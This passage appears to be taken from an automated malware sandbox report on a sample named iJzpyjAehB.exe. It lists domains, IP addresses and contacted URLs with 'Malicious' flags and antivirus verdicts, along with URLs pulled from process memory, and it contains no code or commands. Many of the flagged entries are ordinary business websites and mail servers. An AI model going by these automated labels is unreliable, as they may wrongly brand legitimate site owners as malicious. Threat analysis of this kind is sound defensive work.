cbras.com	54.39.198.18	true	false	high
atbauk.org	104.21.92.170	true	false	high
bidroll.com	13.56.33.8	true	false	high
www.vazir.se	206.191.152.37	true	false	high
www.naoi-a.com	202.254.236.40	true	false	high
d2r2uj0bnofxxz.cloudfront.net	143.204.9.49	true	false	high
www.valselit.com	193.70.68.254	true	false	high
vvsteknik.dk	185.31.76.90	true	false	high
biosolve.com	151.101.130.159	true	false	high
karmy.com.pl	185.253.212.22	true	false	high
www.fe-bauer.de	3.65.101.129	true	false	high
smtp.mail.global.gm0.yahoodns.net	87.248.97.36	true	false	high
vdoherty.com	91.216.241.100	true	false	high
hbfuels.com	85.233.160.148	true	false	high
pb-games.com	173.254.28.29	true	false	high
mackusick.de	217.160.0.131	true	false	high
ncn.de	46.30.60.158	true	false	high
nekono.net	202.172.28.187	true	false	high
fnw.us	137.118.26.67	true	false	high
komie.com	59.106.13.181	true	false	high
ftmobile.com	199.34.228.78	true	false	high
www.x0c.com	185.53.177.50	true	false	high
onzcda.com	35.186.238.101	true	false	high
sledsport.ru	185.22.232.175	true	false	high
www.findbc.com	13.248.216.40	true	false	high
tbvlugus.nl	174.129.25.170	true	false	high
cubodown.com	104.21.30.14	true	false	high
infotech.pl	79.96.32.254	true	false	high
pellys.co.uk	77.72.4.226	true	false	high
semuk.com	52.128.23.153	true	false	high
tozzhin.com	202.94.166.30	true	false	high
tabbles.net	188.114.97.3	true	false	high
cqdgroup.com	221.132.33.88	true	false	high
www.muhr-soehne.de	5.189.171.125	true	false	high
fortknox.bm	216.177.137.32	true	false	high
camamat.com	104.21.235.32	true	false	high
mail.airmail.net	66.226.70.66	true	false	high
ikulani.com	157.7.107.88	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://skypearl.com/	true	Avira URL Cloud: safe	unknown
http://a-domani.com/	true	Avira URL Cloud: safe	unknown
http://fdlymca.org/	true	Avira URL Cloud: safe	unknown
http://univi.it/	true	Avira URL Cloud: safe	unknown
http://likangds.com/	true	Avira URL Cloud: safe	unknown
http://www.elpro.si/	false	Avira URL Cloud: safe	unknown
http://www.credo.edu.pl/	false	Avira URL Cloud: malware	unknown
http://sigtoa.com/	true	Avira URL Cloud: safe	unknown
http://dhh.la.gov/	false		high
http://www.naoi-a.com/	false	Avira URL Cloud: safe	unknown
http://www.abdg.com/	false	Avira URL Cloud: safe	unknown
http://hes.pt/	true	Avira URL Cloud: safe	unknown
http://calvinly.com/	false	Avira URL Cloud: safe	unknown
http://zugseil.com/	true	Avira URL Cloud: safe	unknown
http://ruzee.com/	true	Avira URL Cloud: safe	unknown
http://redgiga.com/	false	Avira URL Cloud: safe	unknown
http://www.ora-ito.com/	false	Avira URL Cloud: safe	unknown
http://umcor.am/	true	Avira URL Cloud: safe	unknown
http://shanks.co.uk/	true	Avira URL Cloud: safe	unknown
http://arowines.com/	true	Avira URL Cloud: safe	unknown
https://dataform.co.uk/wp-signup.php?new=magicomm.co.uk	true	Avira URL Cloud: safe	unknown
http://oozkranj.com/	true	Avira URL Cloud: safe	unknown
http://oaith.ca/	true	Avira URL Cloud: safe	unknown
http://vonparis.com/	true	Avira URL Cloud: safe	unknown
http://ramkome.com/	true	Avira URL Cloud: safe	unknown
http://uhsa.edu.ag/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.com-sit.com/wp-content/uploads/2019/01/HOME_Slider_02_MEDICINE-1-260x95.jpg	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.indonesiamedia.com/wp-content/uploads/2021/07/logo.png	svchost.exe, 00000016.00000003.496913823.000000000332A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.lanouvelle.net/Economie/Affaires/2007-12-12/article-1328994/Deux-nouveaux-batiments-comme	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.484497313.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.398318769.0000000002DE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-includes/js/wp-util.min.js?ver=26698c2509d8a9f37e69464fad7be5f1	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dgmna.com/u	pigalicapi.exe, 00000006.00000003.338019640.0000000007540000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pohlfood.com/#website	iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/#webpage	iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://inhouse.pohlfood.com/	iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/wp-content/uploads/fonts/lato-v23-latin-300.eot?#iefix	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://com-sit.com/leistungen/intelligent-sourcing/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.300368242.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.439075116.0000000008E00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gpthink.com/product/204.html	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.429302770.0000000008B00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.435832282.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.435550642.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434048283.0000000005050000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.431188888.0000000005050000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.429996077.0000000005580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.431935732.0000000005050000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/wp-content/uploads/2019/01/SUB_Header_02_AUF-EINEN-BLICK.jpg	iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pohlfood.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.11.0	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stajum.com/2	iJzpyjAehB.exe, 00000000.00000003.347142690.00000000075CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/174-appartement-a-vendre-grenoble-30514	iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pwd.org/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296716341.0000000008C00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297881797.00000000031D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438940303.0000000003090000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://net3.necs.com/pohlfood/site/search?selectview=byclass&queryCol=&terms=pizza	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.com-sit.com/wp-content/uploads/2019/01/BOX_Statement_02_BOOK-50x42.jpg	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.pwd.org/M	iJzpyjAehB.exe, 00000000.00000002.603177646.0000000007565000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://net3.necs.com/pohlfood/site/search?selectview=choose&queryCol=class&terms=Mediterran	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://pohlfood.com/comments/feed/	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.indonesiamedia.com/contact-us/	svchost.exe, 00000016.00000003.496913823.000000000332A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.aevga.com/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.278369986.0000000008700000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pohlfood.com/wp-content/plugins/real3d-flipbook/js/flipbook.pdfservice.min.js?ver=3.25	iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373377308.0000000003AC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.com-sit.com/en/	iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.myropcb.com/services-capabilities/pcb-restoration/	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.300368242.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.439075116.0000000008E00000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.302597912.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.311024379.0000000003180000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000002.596543130.0000000003910000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.467548512.00000000036B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.440284917.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.316183261.0000000003480000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.460052279.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.427667319.0000000005450000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292085282.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.291400658.0000000003580000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.434454926.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297414795.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296430221.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.432883313.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.428390043.0000000002530000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438584895.0000000003030000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.296772064.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.292541963.0000000003560000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.314410694.0000000003120000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.436653718.0000000003E10000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.438316131.0000000002FE0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297118541.00000000035B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.297246492.00000000035F0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.286207911.00000000035B0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
